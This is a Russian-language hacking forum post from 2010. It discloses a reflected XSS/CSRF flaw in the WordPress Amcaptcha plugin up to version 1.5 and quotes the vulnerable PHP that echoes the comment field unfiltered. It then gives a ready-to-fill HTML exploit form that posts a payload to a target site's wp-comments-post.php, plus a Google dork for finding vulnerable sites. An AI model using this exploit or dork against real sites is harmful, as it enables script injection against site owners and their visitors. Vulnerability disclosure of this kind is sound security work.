Показать сообщение отдельно

  #143  
Старый 04.04.2010, 21:06
total90
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме:
11581319

Репутация: 241
Отправить сообщение для total90 с помощью ICQ
По умолчанию

WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF

Ошибка в коде в функции:

PHP код:
function comment_post ($id){
    global 
$user_ID;
    global 
$langs;
    
    
$texts $langs[get_option('ac_lang')];
    
    if (
$user_ID)
        return 
$id;

    if (
$_POST[$_SESSION['amcaptcha_session']] != '1'){
        
wp_delete_comment($id);
        echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
        exit;
    }

а точнее:

PHP код:
if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
    
wp_delete_comment($id);
    echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
    exit;

если чел не передал сессию этого модуля ( а точнее не отметил чекбокс --
"Подтверждаю, что я не спам-бот" ) то модуль выдает ошибку и при этом не
фильтрует $_POST['comment'].

Сам сплойт выглядит так :
Код:
<html>
<head>
<title>WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Exploit</title>
<!--
Vulnerability found by total90, exploit written by Dr.TRO
-->
</head>
<body>
<form action="http://[Домен][Путь к WP]wp-comments-post.php" method="post"
name="commentform">
<input type="hidden" name="author" value="Dr.TRO" />
<input type="hidden" name="email" value="drtro.public@gmail.com" />
<input type="hidden" name="comment" value="[Уязвимое место]" />
<input type="hidden" name="comment_post_ID" value="[ID существующего
поста]" />
<input type="submit" name="submit" value="Request" />
</form>
</body>
</html>
Анализ кода и сплойт by Dr.TRO
Google dork: Для того, чтобы иметь возможность комментировать, включите
JavaScript в Вашем браузере.

Последний раз редактировалось total90; 05.04.2010 в 22:41..
 
Ответить с цитированием